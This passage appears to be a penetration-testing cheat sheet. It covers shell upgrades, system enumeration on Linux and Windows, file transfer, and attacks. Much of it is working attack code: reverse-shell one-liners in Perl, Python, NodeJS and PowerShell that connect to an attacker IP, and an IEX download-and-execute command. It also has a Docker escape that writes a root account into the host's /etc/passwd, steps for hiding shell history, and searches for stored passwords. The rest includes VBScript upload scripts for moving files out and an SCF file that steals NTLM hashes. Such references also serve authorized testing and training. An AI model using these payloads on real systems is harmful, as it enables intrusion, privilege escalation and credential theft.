        
  • Using Subprocess:
    exec python -c "__import__('subprocess').call(['/bin/bash'])"
        

Perl

  • Using exec:
    exec perl -e "exec '/bin/sh';"
        
  • Using backquotes:
    exec perl -e "print `/bin/sh`;"
        

Socat

socat EXEC:"/bin/sh -i",pty,ctty,stderr,setsid,sigint,sane -

Full Interactivity

  • Check that the system can be upgraded:
    # stty needs to be available
    type stty
    
    # Or resize
    type resize
    
    # It may be hidden
    find / -name resize\* -type f 2>/dev/null
    
    # Or check whether $ROWS and $COLUMNS
    # are used:
    export
    set
    
    # Very recommended to be available
    type reset
        
  • Background the shell with Ctrl-Z
  • Obtain the size of the current terminal
    # The numbers are ROWS COLUMNS
    stty size
    
    # POSIX alternative
    stty -a | sed -n 's/.*\(\(\(rows\|columns\)[^;]*; \)\{2\}\).*/\1/p'
    
    # With tput
    echo 'lines\ncols' | tput -S
        
  • Enable RAW mode + foreground the shell:
    stty raw -echo; fg
        
  • Introduce the following blindly:
    # Set the terminal type
    export TERM=xterm-256color
    # Fallbacks:
    #   xterm, screen, linux, or dumb
    
    # Sustitute with the previous values
    stty rows <rows> cols <cols>
    
    # Or, if resize is available
    export ROWS=<rows>
    export COLUMNS=<cols>
    resize
        
  • Apply the new changes:
    exec /bin/bash -i
    
    reset
        
  • Final exports:
    export SHELL=/bin/bash
    export HOME=/tmp
    export PAGER=less
        

Windows

Shells

Netcat Traditional/Ncat

Perl

  • Spawning a system shell oneliner
    perl -MSocket -e 'socket+S,2,1,6;connect+S,sockaddr_in+<port>,inet_aton"<ip-host>"or+die;open+STDIN,">&S";open+STDOUT,">&S";open+STDERR,">&S";exec"/bin/sh -i"'
        

Python

Socket

  • Spawning a system shell oneliner
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip-host>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
        
  • Spawning a system shell with pty
    import socket
    import os
    import pty
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("<ip-host>", <port>))
    
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    
    pty.spawn("/bin/sh")
        

NodeJS

  • Spawning a system shell
    node -e '(function(){var sh = require("child_process").spawn("/bin/sh", []), cli = new require("net").Socket(); cli.connect(<port>, "<ip-host>", function(){cli.pipe(sh.stdin); sh.stdout.pipe(cli); sh.stderr.pipe(cli);}); return /a/;})();'
    # Set require is not there by default:
    # var r=global.process.mainModule.require
        

System Enumeration

Linux

  • Prevent command logging:
    # Bash
    echo $HISTFILE
    
    export HISTFILE=/dev/null
    
    # Zsh
    # Also check HISTFILE
    echo $HISTFILE
    
    # Push a new history stack
    fc -p
    
    # Pop current history stack (deleting)
    fc -P
        
  • List environment variables:
    echo $USER
    
    echo $HOME
    
    echo $SHELL
    
    echo $PWD
    
    echo $PATH
    
    # all
    export
    
    set
    
    # Modify for all programs in shell
    export VAR=<value>
    
    # Make it permanent for current user
    echo 'export VAR=<value>' >> ~/.bashrc
        
  • Locate users that could be used for logging in:
    # Also check /etc/shadow
    grep -v 'nologin\|false' /etc/passwd
        
  • User identification:
    whoami
    
    # User, Group, and Context ID
    id -a
    
    # Logged users
    who
    
    # Logged users - extra info
    who -a
    
    # Logged users + stats + login process
    w
        
  • Permissions identification:
    # Check if sudo is vulnerable in exploitdb
    sudo -V
    
    # Commands that can be run with sudo
    # without password prompting
    sudo -l
    # Also note: env_keep+=LD_PRELOAD
    # Exploit dirs with wildcards: /vuln/dir/*
    # sudo /bin/sh /vuln/dir/../../tmp/root.sh
    
    # Same but for all users
    less /etc/sudoers
    
    # Find files with the SUID flag:
    find / \( -perm -4000 -o -perm -2000 \) -type f -ls 2>/dev/null
    # See how to leverage them:
    # https://gtfobins.github.io
    # Use ldd to detect missing libraries
    
    # Find folders with the S[UG]ID flags:
    find / \( -perm -4000 -o -perm -2000 \) -type d -ls 2>/dev/null
    # New files on such directories obtain
    # the folder's S[UG]ID automatically
    
    # Find everything else:
    find / \( -perm -4000 -o -perm -2000 \) \! -type f \! -type d -ls 2>/dev/null
    # Everything writable and executable
    # can be injected with evil code
    
    # Locate binaries with capabilities
    getcap -r / 2>/dev/null
    # CAP_SETUID allows privesc: GTFObins
    # Caps are retained in subprocesses
    
    # Users with capabilities
    less /etc/security/capability.conf
    
    # Sevices with capabilities
    grep -r 'AmbientCapabilities=' /etc/systemd
    # Other interesting Caps for privesc:
    # - CAP_SYS_ADMIN
    # - CAP_SYS_PTRACE
    # - CAP_SYS_MODULE
    # - CAP_DAC_READ_SEARCH
    # - CAP_DAC_OVERRIDE
    # - CAP_CHOWN
    # - CAP_FORMER
    # - CAP_SETGID
    # - CAP_SETFCAP
    # - CAP_SETUID
    # Caps that may aid in privesc:
    # - CAP_KILL
    # - CAP_NET_BIND_SERVICE
    # - CAP_NET_RAW
    # - CAP_NET_ADMIN + CAP_NET_RAW
    # - CAP_LINUX_IMMUTABLE
        
  • List OS and version:
    # All details
    cat /proc/version
    
    # Kernel details
    uname -a
    
    # Distro detail
    cat /etc/issue
    
    cat /etc/*-release
    # Check the Dirty COW section
        
  • Kernel hardening using checksec:
    ./checksec --kernel 2>/dev/null
        
  • List scheduled tasks:
    # Current user
    crontab -l
    # Some systems may use cru
    
    # System scheduled tasks
    less /etc/crontab
    
    # Systemd timers
    systemctl list-timers
        
  • Find files/directories:
    ls -lah /
    
    ls -lah /root
    
    ls -lah /home
    
    ls -lah /var
    
    ls -lah /var/spool
    
    ls -lah /var/mail
    
    ls -lah /var/spool/mail
    
    ls -lah /etc/security
    
    ls -lah /etc/init
    
    ls -lahd /etc/init
    
    ls -lah /etc/init.d
    
    ls -lahd /etc/init.d
    
    ls -lah /etc/rc.d
    
    ls -lahd /etc/rc.d
    
    ls -lah /etc/rc.d/init.d
    
    ls -lahd /etc/rc.d/init.d
    
    ls -lah /etc/systemd/system
    
    ls -lahd /etc/systemd/system
    
    find /var/log -type f 2>/dev/null
    
    find /var/cache -type f 2>/dev/null
    
    find /var/crash -type f 2>/dev/null
    
    # Exclude paths
    find /var/www \! -path /var/www/error/\* -type f 2>/dev/null
    
    # Files owned by specific users/groups
    find / \( -user adm -o -group adm \) -ls 2>/dev/null | grep -v ' /sys\| /proc'
    
    ls -lah /etc
    
    ls -lah /usr/src
    
    ls -lah /usr/local
    
    ls -lah /opt
    
    ls -lah /var/opt
    
    # Show the commands of the processes
    find /proc -name cmdline -exec sh -c 'grep -qv "^ *$" {} && { echo; echo {} | sed "h;s/./-/gp;H;x"; cat {}; echo; }' \; 2>/dev/null
    
    # All world writable files
    find / -perm -o+w -type f \! -path /proc \! -path /sys 2>/dev/null
    
    # Check if they are writable
    ls -lahd /etc/ld.so.conf.d/
    ls -lah /etc/ld.so.conf.d/
        
  • Follow this if ld.so.conf can be modified
  • Check udev rules:
    ls -lah /etc/udev/rules.d
    ls -lahd /etc/udev/rules.d
        
  • List disk/partitions:
    ls /dev
    
    ls /dev/mapper
    
    # List partitions
    fdisk -l /dev/sda
    
    blkid /dev/sda
    
    cat /proc/partitions
    
    # Mounted
    mount
    
    cat /etc/mtab
    
    cat /etc/fstab
    
    cat /proc/mounts
    
    # Swap
    swapon
    
    cat /proc/swaps
        
  • Mount partitions:
    # Requires root
    mount /dev/sda2 <path>
    
    # Doesn't require
    udisksctl mount -b /dev/sda2 <path>
        
  • Host and Domain identification:
    # hostname
    hostname
    
    # Long hostname
    hostname -f
    
    # IPs for the hostname
    hostname -i
    
    # NIS/YP Domain
    hostname -y
    
    domainname
    
    nisdomainname
    
    ypdomainname
    
    # DNS domain
    hostname -d
    
    dnsdomainname
        
  • Get the interfaces:
    # Modern systems
    ip addr
    
    # Not so modern
    ifconfig
    
    # Old systems
    netstat -ie
        
  • Check the routing table:
    # Modern systems
    ip route
    
    # Not so modern
    route
    
    # Old systems
    netstat -r
        
  • Check the DNSs:
    cat /etc/resolv.conf
        
  • Check the hosts:
    cat /etc/hosts
        
  • Check the ARP table:
    arp
    
    # BSD format
    arp -a
    
    # Numeric output
    arp -n
        
  • Check the sockets:
    # Modern systems
    ss -tulnp
    
    # Old systems
    netstat -anop
        
  • Check the firewall rules:
    iptables --list
    # Modern systems may use nftables
        
  • List running processes:
    ps aux | less
    # ps w in some systems
        
  • List drivers:
    lsmod
    
    less /proc/modules
        
  • CPU and memory info:
    less /proc/cpuinfo
    
    less /proc/meminfo
    
    # Stats
    cat /proc/uptime
    
    less /proc/stat
    
    less /proc/vmstat
    
    less /proc/misc
        

Windows

cmd.exe

  • List environment variables:
    echo %USERNAME%
    
    echo %USERDOMAIN%
    
    echo %USERPROFILE%
    
    echo %PATH%
    
    :: Temporarily modify it
    set PATH=%PATH%;C:\<path>
    
    :: Set it permanently (yes, no =)
    setx PATH %PATH%;C:\<path>
        
  • Check if custom installation:
    :: Both should be the same
    echo %SystemRoot%
    
    echo %WinDir%
    :: SystemRoot isn't defined in pre-NT
        
  • Find all users / user info:
    :: List all users
    net user
    
    :: List extended user info
    net user <username>
    :: Pay attention to the Local and Global Group memberships
    
    :: Enumerate all domain users
    net user /domain
    
    :: List current account details
    net accounts
        
  • List current user and hostname:
    :: May not be installed
    whoami
    
    hostname
        
  • List current user privileges:
    whoami /priv
        
  • List OS and version:
    systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
    
    :: Alternatively try: msinfo32
    :: Note: msinfo32 may not be in PATH
        
  • List patches:
    wmic qfe get Caption,Description,HotFixID,InstalledOn
        
  • List .NET versions:
    :: Useful for compiling C# exploits
    dir /a:D "C:\WINDOWS\Microsoft.NET\Framework"
    
    :: Or query the registry
    reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"
        
  • List PowerShell versions and paths:
    :: Try with different numbers
    reg query HKLM\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion
    
    reg query HKLM\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v ApplicationBase
    
    :: Custom PSs
    reg query HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v Path
    :: ^ Also check for ExecutionPolicy
        
  • Find files/directories:
    cd C:\
    
    :: Show hidden and non-hidden content
    dir /a
    
    :: List all recursively
    dir /s /a
    
    :: Locate .txt files in the system
    dir /s *.txt
    
    :: Locate .bak files in the system
    dir /s *.bak
    
    :: List non-hidden recursively
    dir /s
    
    :: Hidden content only
    dir /ah
    
    :: Hidden content recursively
    dir /ah /s
    
    :: Both hidden/non-hidden - simple
    for /f "tokens=*" %i in ('dir /b/a:-d') do echo "%i"
        
  • Check folder permissions (icacls):
    :: WD: Write Perm | AD: Create Dir
    icacls <dir>
    :: R: Read | X: Execute | I: Inherit
        
  • List possible passwords/credentials:
    :: Files
    dir /s /a *pass* == *cred* == *vnc* == *.config*
    
    findstr /si password *.xml *.ini *.txt
    
    :: Registry
    reg query HKLM /f password /t REG_SZ /s
    
    reg query HKCU /f password /t REG_SZ /s
        
  • PowerShell history:
    type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
        
  • Show the content/concat file(s):
    type <file>
        
  • List, mount, unmount disk volumes:
    :: List all volumes
    mountvol
    
    :: Mount volume in D:
    mountvol D:\ \\?\Volume{<guid>}\
    
    :: Unmount D:
    mountvol D:\ /D
        
  • Find the type of a volume (CD-ROM):
    :: Do this to find why cd D:\ returns
    ::   > The device is not ready
    diskpart
    
    list disk
    
    select disk 0
    
    list partition
    
    select partition 1
    
    list volume
    :: Check the type, FS...
    :: CD/DVD-ROM without a disk won't
    :: allow accessing it, thus the error
        
  • Disk repair tools (to then mount):
    chkdsk
    :: Add the /f flag to perform fixes
    
    sfc /scannow
    :: Windows File Protecton fixer
        
  • Mount shares:
    :: Map the share
    net use \\<ip>\<path>
    
    :: Map the share to a label
    net use E: \\<ip>\<path>
    
    :: Or mount the share to a folder
    mklink /d C:\<path> \\<ip>\<path>
        
  • List all interfaces:
    ipconfig /all
        
  • List routing table:
    route print
        
  • List ARP tables:
    arp -a
    
    arp -A
        
  • List all connections, state + pid:
    netstat -ano
    
    :: Show only TCP
    netstat -anop TCP
        
  • List firewall stated and configuration:
    netsh firewall show state
    
    netsh firewall show config
        
  • List firewall adv profile and rules:
    netsh advfirewall show currentprofile
    
    netsh advfirewall firewall show rule name=all
        
  • List scheduled tasks:
    schtasks /query /fo LIST /v
    :: A modified version exists for
    :: Win2K as well as JT.EXE
        
  • List running processes:
    :: All running processes
    tasklist /SVC
    
    :: Process by match
    tasklist /FI "IMAGENAME eq <process>"
        
  • List drivers and filter:
    :: List not found in C:\WINDOWS
    driverquery /v | findstr /i /v "C:\WINDOWS"
    
    :: List only executed at boot
    driverquery /v | findstr /i "boot"
    
    :: List only running drivers
    driverquery /v | findstr /i "running"
        
  • List services and their permissions:
    wmic service list brief
    
    :: Using sc
    sc query
    
    sc qc <service-name>
        
  • AccessChk multiple system permissions:
    :: Accept terms
    accesschk.exe /accepteula
    
    :: Service permissions
    accesschk.exe -ucqv *
    
    accesschk.exe -ucqv <service-name>
    
    accesschk.exe -uwcqv "Authenticated Users" *
    
    :: Folders with weak permissions
    accesschk.exe -uwdqs Users C:\
    
    accesschk.exe -uwdqs "Authenticated Users" C:\
    
    :: Files with weak permissions
    accesschk.exe -uwqs Users C:\*.*
    
    accesschk.exe -uwqs "Authenticated Users" C:\*.*
        

PowerShell

  • Check for current PS path:
    (Get-Process -Id $pid).Path
        
  • Check for default PS:
    (Get-Command PowerShell.exe).Path
    
    :: Newer Windows
    (Get-Command -Name pwsh).Path
        
  • Check for current version:
    :: PS 2.0 and up
    $PSVersionTable.PSVersion.ToString()
    
    :: PS 1.0
    $host.Version
        
  • Check if running 64 bit PS:
    :: Pointers are 8 bytes on x64 PS
    [System.IntPtr]::Size -eq 8
    
    :: Using the environment
    [Environment]::Is64BitProcess
        
  • Run a specific version:
    powershell -version 2
        
  • Check for a specific version:
    Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
    
    :: Windows Server
    Get-WindowsFeature PowerShell-V2
        
  • Path list:
    • Windows 64 bit:
      %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe
      
      :: From 32 bit session
      %SystemRoot%\SysNative\WindowsPowerShell\v1.0\powershell.exe
              
    • Windows 32 bit:
      %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe
      :: Also try %WinDir%
      
      :: From 64 bit session
      %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              

Docker

  • List the images:
    docker images
        
  • Check the history of an image:
    docker history --no-trunc <img-hash>
        
  • Run an interactive shell in the image:
    docker run -it --entrypoint=/bin/sh <img-hash>
        
  • Mount the host’s filesystem and access it through docker:
    cd /
    docker run -it -v $PWD:/mnt --entrypoint=/bin/sh <img-hash>
    
    # If you are root in Docker you'll be
    # able to access the host filesystem
    # also as root under /mnt
    echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
    # Now you'll be able to su toor with
    # password: password on the host
        
  • If you don’t have any image available (or those available are restricted) you can use a socks tunnel to obtain a vulnerable one

System Monitoring

Linux

pspy

  • Site - profs unprivileged info snoop:
    # -pf - Commands and System Events
    pspy -pf -i 1000
    # -i <ms>  - Scan procfs every 1000ms
    # -r <dir> - Recursive dir watch
    # -d <dir> - Non-recursive dir watch
        

System Vulnerability Enumeration

Windows

Generic

winPEAS

Windows-Exploit-Suggester

  • Site - unsupported xlsx fix
    # Obtain the latest database
    windows-exploit-suggester.py --update
    
    # Suggest based on systeminfo output
    windows-exploit-suggester.py --database <database> --systeminfo <file-with-systeminfo-output>
        

Kernel

Sherlock

  • PowerShell x86/x64
  • Download
  • Usage:
    :: Use the appropriate PS (x86/x64)
    powershell.exe -Exec Bypass -nop -w Hidden -NoLogo -NonInteractive -Command "IEX(New-Object System.Net.WebClient).DownloadString('http://<ip>/Sherlock.ps1'); Find-AllVulns"
        

Linux

Generic

linPEAS

Folders Enumeration

Windows

C:\Program Files

C:\WINDOWS\Debug

:: Logs from Apps
C:\WINDOWS\system32\LogFiles

:: SAM & System - Check .bak
C:\WINDOWS\system32\config

:: Memory dumps
C:\WINDOWS\MEMORY.DMP

:: Nothing special
C:\WINDOWS\system32\ReinstallBackups

:: Search *.log *.bak
C:\WINDOWS\

File

Transfer

Windows

Download

cmd.exe
  • VBScript to download binary files (type 1 -> bin; type 2 -> text but it looks like 2 doesn’t work and 1 also works with text) using ADO DB, run it with ~cscript //B //T:180 //Nologo wget.vbs “http://<ip-port>/<remote-file>” “<name>”~:
    echo Dim strURL, StrFile > wget.vbs
    echo strUrl = WScript.Arguments.Item(0) >> wget.vbs
    echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
    echo Dim http, bytes >> wget.vbs
    echo Err.Clear >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set http = WScript.CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
    echo If http Is Nothing Then Set http = WScript.CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
    echo If http Is Nothing Then Set http = WScript.CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
    echo If http Is Nothing Then Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> wget.vbs
    echo WScript.Echo "Downloading " ^& StrFile >> wget.vbs
    echo http.Open "GET", strURL, False >> wget.vbs
    echo http.Send >> wget.vbs
    echo bytes = http.ResponseBody >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo With WScript.CreateObject("ADODB.Stream") >> wget.vbs
    echo .Open >> wget.vbs
    echo .type = 1 >> wget.vbs
    echo .Write bytes >> wget.vbs
    echo .SaveToFile StrFile, 2 >> wget.vbs
    echo End With >> wget.vbs
    echo WScript.Echo "Done" >> wget.vbs
        
  • Alternate script in case ADO DB is not installed using the trick described here, note that it is unreliable and may take a long time to write files:
    echo Dim strURL, StrFile > wget.vbs
    echo strUrl = WScript.Arguments.Item(0) >> wget.vbs
    echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
    echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
    echo Err.Clear >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set http = WScript.CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
    echo If http Is Nothing Then Set http = WScript.CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
    echo If http Is Nothing Then Set http = WScript.CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
    echo If http Is Nothing Then Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> wget.vbs
    echo http.Open "GET", strURL, False >> wget.vbs
    echo http.Send >> wget.vbs
    echo varByteArray = http.ResponseBody >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set fs = WScript.CreateObject("Scripting.FileSystemObject") >> wget.vbs
    echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
    echo strData = "" >> wget.vbs
    echo strBuffer = "" >> wget.vbs
    echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
    echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
    echo Next >> wget.vbs
    echo ts.Close >> wget.vbs
        
PowerShell
  • Using System.Net.WebClient
    :: Download file
    powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<ip>/evil.exe', 'evil.exe')
    
    :: Download and execute remote PS1
    powershell IEX (New-Object Net.WebClient).DownloadString("http://<ip>/shell.ps1");
    :: shell.ps1
    $client = New-Object System.Net.Sockets.TCPClient("<ip>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
        
SMB
  • Check the Impacket>SMBserver section

Upload

Servers
  • Apache-PHP local server for uploads: /var/www/html/upload.php (don’t forget to set the upload folder to www-data owner), note that the PHP built-in web server also parses PHP, so maybe this file also works:
    <?php
    $uploaddir = '/var/www/uploads/';
    $uploadfile = $uploaddir . $_FILES['file']['name'];
    move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
    ?>
        
  • Socat local server for the VBS:
    socat TCP-LISTEN:8081,reuseaddr,fork SYSTEM:'file="$(eval printf "$(sed -u "s,^POST /\\+\\|\\.\\+/\\| HTTP[^ ]*$,,g;s,/\\+,/,g;s/%\\([0-9]\\+\\)/\\$(printf \\"\\\\\\%03o\\" \\$((0x\\1)))/g;q")")"; length=$(sed -nu "s,^Content-Length:\\s*\\([0-9]\\+\\).*,\\1,gp;/^\\s*$/q"); echo "[$(date "+%F %T")] Receiving $file - size $(numfmt --to=iec-i --suffix=B $length)" >&2; eval "dd ibs=1 count=$length of=\\\"$file\\\" status=none"; printf "\\r\\n"'
        
cmd.exe
  • Adapted VBScript from this, note that type 1 is binary and 2 text, use it as cscript //B //T:180 //Nologo upload.vbs "http://<ip-port>/<remote-name>" "<file>"~ (quote the parameters to include spaces); upload all files in a directory with ~for %f in (.\*) do @cscript...%f "%f"~ (~for /R %f for recursion), hidden files with for /f "tokens=*" %f in ('dir /b/a:-d') do @cscript...:

-

echo Dim strURL, strFile, dataFile, dataRequest > upload.vbs
echo strUrl = WScript.Arguments.Item(0) >> upload.vbs
echo strFile = WScript.Arguments.Item(1) >> upload.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> upload.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> upload.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> upload.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> upload.vbs
echo Err.Clear >> upload.vbs
echo Set http = Nothing >> upload.vbs
echo Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> upload.vbs
echo If http Is Nothing Then Set http = WScript.CreateObject("WinHttp.WinHttpRequest") >> upload.vbs
echo If http Is Nothing Then Set http = WScript.CreateObject("MSXML2.ServerXMLHTTP") >> upload.vbs
echo If http Is Nothing Then Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> upload.vbs
echo WScript.Echo "Uploading " ^& strFile >> upload.vbs
echo With WScript.CreateObject("ADODB.Stream") >> upload.vbs
echo .Open >> upload.vbs
echo .type = 1 >> upload.vbs
echo .LoadFromFile(strFile) >> upload.vbs
echo dataFile = .Read() >> upload.vbs
echo End With >> upload.vbs
echo dataRequest = dataFile >> upload.vbs
echo http.open "POST", strURL, False >> upload.vbs
echo http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" >> upload.vbs
echo http.setRequestHeader "Content-Length", Len(dataRequest) >> upload.vbs
echo http.send dataRequest >> upload.vbs
echo WScript.Echo "Done" >> upload.vbs
echo Set http = Nothing >> upload.vbs
  • Convert the “binary” text files to “text” with iconv and chardetect (pip install chardet) - reference:
    # Detect the charset
    file -i <text-file-in-binary>
    
    # Or, alternatively:
    chardet <text-file-in-binary>
    
    # Check if it is BE or LE:
    # -> LE if the odd colums are 000
    od An -bc <text-file-in-binary> | less
    
    # Convert it with GNU strings:
    # Add -w if missing tabs/newlines
    strings -ael <text-file-in-binary> > <converted>
    
    # Using POSIX iconv:
    # List all iconv encodings
    iconv -l
    
    # Convert it to UTF-8
    iconv -f UTF-16LE// -t UTF-8// < <text-file-in-binary> > <converted>
    
    # Check the type again:
    file -i <text-file-in-binary>
    
    # Filter it if is still not correct:
    strings -w <converted> > <clean>
        
  • This is an alternative in case ADO DB is not installed, but only works reliable with non-binary files, though you may try this workaround:
    echo Dim strURL, strFile, dataFile, dataRequest > upload.vbs
    echo strUrl = WScript.Arguments.Item(0) >> upload.vbs
    echo strFile = WScript.Arguments.Item(1) >> upload.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> upload.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> upload.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> upload.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> upload.vbs
    echo Dim http, fs, of >> upload.vbs
    echo Err.Clear >> upload.vbs
    echo Set http = Nothing >> upload.vbs
    echo Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> upload.vbs
    echo If http Is Nothing Then Set http = WScript.CreateObject("WinHttp.WinHttpRequest") >> upload.vbs
    echo If http Is Nothing Then Set http = WScript.CreateObject("MSXML2.ServerXMLHTTP") >> upload.vbs
    echo If http Is Nothing Then Set http = WScript.CreateObject("Microsoft.XMLHTTP") >> upload.vbs
    echo WScript.Echo "Uploading " & strFile >> upload.vbs
    echo Set fs = WScript.CreateObject("Scripting.FileSystemObject") >> upload.vbs
    echo Set of = fs.GetFile(strFile) >> upload.vbs
    echo With of.OpenAsTextStream() >> upload.vbs
    echo dataFile = .Read(of.Size) >> upload.vbs
    echo .Close >> upload.vbs
    echo End With >> upload.vbs
    echo dataRequest = dataFile >> upload.vbs
    echo http.open "POST", strURL, False >> upload.vbs
    echo http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" >> upload.vbs
    echo http.setRequestHeader "Content-Length", Len(dataRequest) >> upload.vbs
    echo http.send dataRequest >> upload.vbs
    echo WScript.Echo "Done" >> upload.vbs
    echo Set http = Nothing >> upload.vbs
        
PowerShell
  • Using System.Net.WebClient to perform an HTTP POST:
    powershell (New-Object System.Net.WebClient).UploadFile('http://<ip>/upload.php', '<file>.docx')
        

Linux

Perl File::Fetch

  • HTTP only (and file, FTP, rsync & git):
    # Might not support redirects (iosock)
    perl -mFile::Fetch -le 'File::Fetch->new(uri=>"<url>")->fetch(to=>\$_) or die;print'
    # For FTP some changes may be required
        

Attack

Windows

SCF File Attack

  • Shell Command Files (.scf) can be used to send a victim’s hashes to an attacker listening with responder
  • Send .@evil.scf to the victim:
    [Shell]
    Command=2
    IconFile=\\<ip>\share\test.ico
    [Taskbar]
    Command=ToggleDesktop
        
  • The .@ symbols are used to hide it and give it top execution priority
  • When the victim access the folder with the .scf file, the attacker will receive a connection with the hashes

Compression / Archive

Windows

Troubleshooting

  • Some Windows versions and user accounts (such as Administrator) may behave unreliably due to the CopyHere function
  • Remove the //B parameter to see the error
  • CopyHere codes vary: older - old - new
  • Try using as last parameter 4 (no copy dialog), 16 (answer yes to all), 1024 (no dialog if error) or False
  • Note that using nothing (or 0) may hang the script as it prompts something in the UI and waits for the user interaction
  • Also try appending a trailing backslash to the directory (and zip) path
  • Ultimately try with a non-SYSTEM shell

Unzip

  • VBScript to be run with ~cscript //B //T:180 //Nologo unzip.vbs “<orig.zip>” “<dest-dir>”~, inspired by this:
    echo Dim fso, strZip, strDir, objShell, filesInZip > unzip.vbs
    echo Set fso = WScript.CreateObject("Scripting.FileSystemObject") >> unzip.vbs
    echo strZip = fso.GetAbsolutePathName(WScript.Arguments.Item(0)) >> unzip.vbs
    echo strDir = fso.GetAbsolutePathName(WScript.Arguments.Item(1)) >> unzip.vbs
    echo WScript.Echo "Unzipping " ^& strZip ^& " into " ^& strDir >> unzip.vbs
    echo If NOT fso.FolderExists(strDir) Then >> unzip.vbs
    echo fso.CreateFolder(strDir) >> unzip.vbs
    echo End If >> unzip.vbs
    echo Set fso = Nothing >> unzip.vbs
    echo Set objShell = WScript.CreateObject("Shell.Application") >> unzip.vbs
    echo Set filesInZip = objShell.NameSpace(strZip).Items >> unzip.vbs
    echo objShell.NameSpace(strDir).CopyHere(filesInZip), 4 + 16 + 1024 >> unzip.vbs
    echo Set objShell = Nothing >> unzip.vbs
        

Zip

  • VBScript to be run with ~cscript //B //T:180 //Nologo zip.vbs “<dest.zip>” “<orig-dir>”~, inspired by this:
    echo Dim fso, strZip, strDir, objShell, intSrcItems, intSkipped, filesInDir > zip.vbs
    echo Set fso = WScript.CreateObject("Scripting.FileSystemObject") >> zip.vbs
    echo strZip = fso.GetAbsolutePathName(WScript.Arguments.Item(0)) >> zip.vbs
    echo strDir = fso.GetAbsolutePathName(WScript.Arguments.Item(1)) >> zip.vbs
    echo WScript.Echo "Zipping " ^& strDir ^& " into " ^& strZip >> zip.vbs
    echo With fso.OpenTextFile(strZip, 2, True) >> zip.vbs
    echo .Write "PK" ^& Chr(5) ^& Chr(6) ^& String(18, Chr(0)) >> zip.vbs
    echo .Close >> zip.vbs
    echo End With >> zip.vbs
    echo Set objShell = WScript.CreateObject("Shell.Application") >> zip.vbs
    echo Set filesInDir = objShell.NameSpace(strDir).Items >> zip.vbs
    echo intSkipped = 0 >> zip.vbs
    echo For Each objItem in filesInDir >> zip.vbs
    echo If objItem.IsFolder Then >> zip.vbs
